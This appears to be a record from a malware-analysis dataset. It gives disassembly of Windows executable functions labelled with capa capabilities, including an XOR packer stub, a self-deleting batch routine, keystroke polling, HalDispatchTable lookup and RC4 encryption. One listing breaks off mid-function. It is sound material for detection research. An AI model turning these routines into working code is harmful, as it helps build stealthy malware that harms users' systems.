joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x5d1f3428
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
mov eax, section..rdata
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x567a7fb4
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x402733
Capabilities:
Terminate process

Disassembly:
call section..text
push 0
push 0x405018
push 0x405014
call fcn.00402c58
push 0
push 0x405020
push 0x40501c
call fcn.00402c58
add esp, 0x18
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4030f6
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x405744]
test eax, eax
je 0x40310f
call eax
test eax, eax
jne 0x40310f
push 0xfffffffffffffffe
jmp 0x403129
push 1
push 0x405010
push 0x405008
call fcn.00402c58
add esp, 0xc
test eax, eax
je 0x40312f
push 0xfffffffffffffffd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
push 0
push 0x405004
push section..data
call fcn.00402c58
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
test esi, esi
jne 0x403155
mov esi, 0x404561
mov cl, 0x20
jmp 0x40315e
cmp al, 0x20
ja 0x403168
inc esi
mov al, byte [esi]
test al, al
jne 0x403159
cmp al, 0x20
jbe 0x40317f
mov al, byte [esi]
cmp al, 0x22
jne 0x403171
xor cl, 0x20
inc esi
mov al, byte [esi]
cmp al, cl
ja 0x40316a
jmp 0x40317f
cmp al, cl
ja 0x403185
inc esi
mov al, byte [esi]
test al, al
jne 0x40317a
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test eax, 0xa0d0a0d
sub eax, 0x54524357
sub eax, 0xa0d0a0d
test byte [ebp - 0x18], 1
je 0x4031ae
movzx eax, word [ebp - 0x14]
jmp 0x4031b1
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call fcn.00402733
pop ecx
pop esi
leave
ret

Function at 0x4031e8
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0x40515c], eax
push 0
push dword [ebp + 8]
push 0
push 0
push 0
push 0x80000000
push 0xfffffc18
push 0xfffffc18
push 0xcf0000
push 0x4055a0
push 0x405608
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403232
xor eax, eax
jmp 0x403249
push 0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp - 4]
Function at 0x4011b0
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x410
mov ecx, 0xe
xor eax, eax
push esi
push edi
mov esi, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_ndel___0_r_n
lea edi, [esp + 0x314]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x33
lea edi, [esp + 0x34c]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x210]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x10c]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10c]
xor esi, esi
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10c]
lea edx, [esp + 0x10c]
push ecx
lea eax, [esp + 0x318]
push edx
lea ecx, [esp + 0x218]
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp + 8]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 8]
push str.del.bat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea ecx, [esp + 0x214]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [esp + 0x21c]
lea eax, [esp + 0x14]
push edx
push eax
call fcn.004019f0
test eax, eax
je 0x401299
lea ecx, [esp + 8]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, 1
call fcn.00401630
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret
Function at 0x4019f0
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
xor edi, edi
push 0x80
push esi
mov dword [esp + 0x10], edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push 0x80
push 4
push edi
push edi
push 0x10000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401a5d
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push edi
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x401a56
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
lea edx, [esp + 8]
push edi
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ecx
ret 0x14

Function at 0x401a70
Capabilities:
Read file on windows

Disassembly:
push ecx
push esi
mov eax, dword [esp + 0xc]
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push closesocket
push eax
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401ad1
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push ecx
push edi
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x401aca
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
lea eax, [esp + 8]
push edi
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ecx
ret 0x14

Function at 0x401ae0
Capabilities:
Get file size

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
push 0
push 0x80
push 3
push 0
push 3
push closesocket
push eax
or edi, 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401b1b
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret 4

Function at 0x401ba0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebp
push esi
mov esi, dword [esp + 0x134]
push edi
xor ebp, ebp
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x10]
mov dword [esp + 0xc], ebp
cmp esi, ebp
rep stosd dword es:[edi], eax
jne 0x401bd3
pop edi
pop esi
pop ebp
add esp, 0x128
ret 4
push ebx
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, ebp
je 0x401c31
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401c2a
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x34]
push ecx
push esi
call edi
test eax, eax
je 0x401c26
lea edx, [esp + 0x10]
push edx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x401c2a
lea eax, [esp + 0x34]
push eax
push esi
call edi
test eax, eax
jne 0x401c0b
mov ebp, dword [esp + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
mov eax, ebp
pop esi
pop ebp
add esp, 0x128
ret 4
Function at 0x402010
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
je 0x402043
cmp dword [ebp - 8], 2
jne 0x40204c
mov dword [ebp - 4], 0
jmp 0x402053
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x402060
Capabilities:
Delete file
Get common file path
Query environment variable

Disassembly:
sub esp, 0x208
push ebx
mov ebx, dword [esp + 0x210]
test ebx, ebx
jne 0x40207e
xor eax, eax
pop ebx
add esp, 0x208
ret 4
push esi
push edi
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0xc]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push ebx
push 0
lea ecx, [esp + 0x14]
push 0x43f7a4
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea edx, [esp + 0xc]
mov esi, eax
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test esi, esi
je 0x4020d2
push str..temp
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x208
ret 4
Function at 0x402790
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push esi
push edi
mov dword [ebp - 0x218], 0
mov ecx, 0x32
xor eax, eax
lea edi, [ebp - 0x210]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x128], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x127]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x22c], 0
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x228], 0
xor eax, eax
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x130], 0
xor ecx, ecx
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x27c], 0x67452301
mov dword [ebp - 0x278], 0xefcdab89
mov dword [ebp - 0x274], 0x98badcfe
mov dword [ebp - 0x270], 0x10325476
mov dword [ebp - 0x108], 0
push 0x43f880
jmp loc.0044e247
Function at 0x403dd0
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0x44
mov ecx, 0x10
mov eax, 0x55555556
push ebx
mov ebx, dword [esp + 0x50]
push esi
push edi
mov esi, 0x43fa90
lea edi, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 2]
imul ecx
mov eax, edx
shr eax, 0x1f
movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x5c]
add edx, eax
mov eax, dword [esp + 0x60]
shl edx, 2
test edi, edi
je 0x403f2a
cmp dword [eax], edx
jge 0x403e1d
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x44
ret
mov dword [eax], edx
mov eax, ebx
cdq
mov ecx, 3
mov esi, dword [esp + 0x54]
idiv ecx
push ebp
mov ebp, ebx
xor eax, eax
xor ecx, ecx
sub ebp, edx
test ebp, ebp
jle 0x403ea0
xor edx, edx
mov dl, byte [esi + ecx]
add ecx, 3
shr edx, 2
inc eax
mov dl, byte [esp + edx + 0x10]
mov byte [eax + edi - 1], dl
mov bl, byte [esi + ecx - 3]
xor edx, edx
mov dl, byte [esi + ecx - 2]
shr edx, 4
shl ebx, 4
add edx, ebx
and edx, 0x3f
inc eax
mov dl, byte [esp + edx + 0x10]
mov byte [eax + edi - 1], dl
mov bl, byte [esi + ecx - 2]
xor edx, edx
mov dl, byte [esi + ecx - 1]
shr edx, 6
lea edx, [edx + ebx*4]
and edx, 0x3f
inc eax
mov dl, byte [esp + edx + 0x10]
mov byte [eax + edi - 1], dl
mov dl, byte [esi + ecx - 1]
and edx, 0x3f
inc eax
cmp ecx, ebp
mov dl, byte [esp + edx + 0x10]
mov byte [eax + edi - 1], dl
jl 0x403e3a
mov ebx, dword [esp + 0x5c]
sub ebx, ebp
cmp ebx, 1
jne 0x403ed8
xor edx, edx
pop ebp
mov dl, byte [ecx + esi]
shr edx, 2
inc eax
mov dl, byte [esp + edx + 0xc]
mov byte [eax + edi - 1], dl
mov cl, byte [ecx + esi]
and ecx, 3
shl ecx, 4
inc eax
mov dl, byte [esp + ecx + 0xc]
mov byte [eax + edi - 1], dl
mov byte [eax + edi], 0x3d
inc eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x44
ret
cmp ebx, 2
jne 0x403f21
xor edx, edx
lea ebp, [ecx + esi + 1]
mov dl, byte [ecx + esi]
shr edx, 2
inc eax
mov dl, byte [esp + edx + 0x10]
mov byte [eax + edi - 1], dl
mov cl, byte [ecx + esi]
xor edx, edx
mov dl, byte [ebp]
shr edx, 4
shl ecx, 4
add edx, ecx
and edx, 0x3f
inc eax
mov dl, byte [esp + edx + 0x10]
mov byte [eax + edi - 1], dl
mov cl, byte [ebp]
and ecx, 0xf
inc eax
mov dl, byte [esp + ecx*4 + 0x10]
mov byte [eax + edi - 1], dl
mov byte [eax + edi], 0x3d
pop ebp
pop edi
pop esi
inc eax
pop ebx
add esp, 0x44
ret
pop edi
mov dword [eax], edx
pop esi
xor eax, eax
pop ebx
add esp, 0x44
ret
Function at 0x403f50
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
lea eax, [ebp - 4]
push edi
mov edi, dword [sym.imp.ntdll.dll_ZwQuerySystemInformation]
xor ebx, ebx
push eax
push ebx
push ebx
push 0xb
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
call edi
cmp eax, 0xc0000004
je 0x403f82
mov eax, 0xc0000001
jmp 0x404037
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
cmp esi, ebx
jne 0x403f9c
mov eax, 0xc00000a0
jmp 0x404037
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push esi
push 0xb
call edi
cmp eax, ebx
mov dword [ebp - 8], eax
jl 0x40402d
mov eax, dword [esi]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x40402d
mov edi, dword [ebp + 8]
mov dword [ebp - 8], ebx
cmp edi, ebx
je 0x403ff5
mov eax, dword [esi + 0xc]
cmp eax, 0x80000000
jae 0x403ff3
mov ecx, dword [esi + 0x10]
test ecx, 0xfff
jbe 0x403feb
mov eax, dword [esi + 0x128]
and cx, 0xf000
sub eax, ecx
sub eax, 0x1000
jmp 0x403ff3
mov eax, dword [esi + 0x128]
sub eax, ecx
mov dword [edi], eax
cmp dword [ebp + 0x10], ebx
je 0x404014
movzx eax, word [esi + 0x1e]
push 0x104
lea eax, [eax + esi + 0x20]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x404022
mov ecx, dword [esi + 0x10]
mov dword [eax], ecx
jmp 0x40402d
cmp edi, ebx
jne 0x40402d
mov dword [ebp - 8], 0xc000000d
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40403c
Capabilities:
Resolve ntoskrnl gadgets

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
and byte [ebp - 0x10c], bl
xor eax, eax
lea edi, [ebp - 0x10b]
mov esi, dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp esi, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
stosb byte es:[edi], al
je 0x4040e4
cmp dword [esi], ebx
je 0x404076
push 1
pop eax
jmp 0x4040e6
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00403f50
mov ecx, eax
mov eax, 0xc0000000
and ecx, eax
add esp, 0xc
cmp ecx, eax
je 0x4040e4
push 1
lea eax, [ebp - 0x10c]
pop edi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov ebx, eax
test ebx, ebx
je 0x4040e4
push str.HalDispatchTable
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4040dd
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
sub eax, ebx
mov dword [esi + 4], ecx
mov dword [esi + 8], edx
mov dword [esi], edi
lea eax, [eax + ecx + 4]
mov dword [esi + 0xc], eax
mov eax, edi
jmp 0x4040e6
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40c130
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47844b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046ae5b
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40c1b2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004685a0
mov eax, dword [eax]
push 0x4d2220
push eax
call fcn.0045b014
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046b0e6
test bl, bl
je 0x40c1b2
push 0x4d2220
lea ecx, [esp + 0xc]
call fcn.0046b4c2
push 0x4d5d9c
lea ecx, [esp + 0xc]
call fcn.0046b4c2
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40c1ee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046b0e6
jmp 0x40c2b9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40c272
lea edx, [esp + 0x7c]
push 0x4d5d98
push edx
call fcn.0045b014
add esp, 8
test eax, eax
je 0x40c272
lea eax, [esp + 0x7c]
push 0x4d5d94
push eax
call fcn.0045b014
add esp, 8
test eax, eax
je 0x40c272
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40c202
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046b0e6
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40d9a0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40da02
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40da10
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4785eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4dcd90]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40db48
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40da76
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046b0e6
xor eax, eax
jmp 0x40dbbf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046b26f
push esi
lea ecx, [esp + 0xc]
call fcn.0046b4fe
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4d5dd4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40db9d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040d9a0
test eax, eax
jne 0x40db9d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040d9a0
test eax, eax
jne 0x40db9d
lea eax, [esp + 0x14]
push 0x4d5db0
push eax
call fcn.0045c0f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40db7c
lea ecx, [esp + 0x14]
push 0x4d5dac
push ecx
call fcn.0045c070
mov esi, eax
add esp, 8
test esi, esi
jne 0x40db7c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40db7f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0046b21f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40da8e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046b0e6
xor eax, eax
jmp 0x40dbbf
mov byte [esi], 0
push 0x4d5da8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0046b0e6
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41fa00
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41fa6e
cmp si, 0x69
ja 0x41fa6e
add esi, 0xffd0
cmp si, 0x11
je 0x41fa3e
push 0x11
call edi
test ax, ax
jge 0x41fa3e
or esi, 0x2000
cmp si, 0x10
je 0x41fa53
push 0x10
call edi
test ax, ax
jge 0x41fa53
or esi, 0x4000
cmp si, 0x12
je 0x41fa68
push 0x12
call edi
test ax, ax
jge 0x41fa68
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41fa7b
mov esi, 0xbd
jmp 0x41fa2f
cmp si, 0x6e
jne 0x41fa88
mov esi, 0xbe
jmp 0x41fa2f
cmp si, 0x6f
jne 0x41fa29
mov esi, 0xbf
jmp 0x41fa2f

Function at 0x421230
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4edb60]
xor edx, edx
cmp eax, edx
jne 0x421256
xor eax, eax
mov byte [eax + 0x4eda60], al
inc eax
cmp eax, 0x100
jl 0x42123e
mov dword [0x4edb60], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4eda60
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4212e7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4212ba
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x421288
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x421360
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4213b3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42139a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret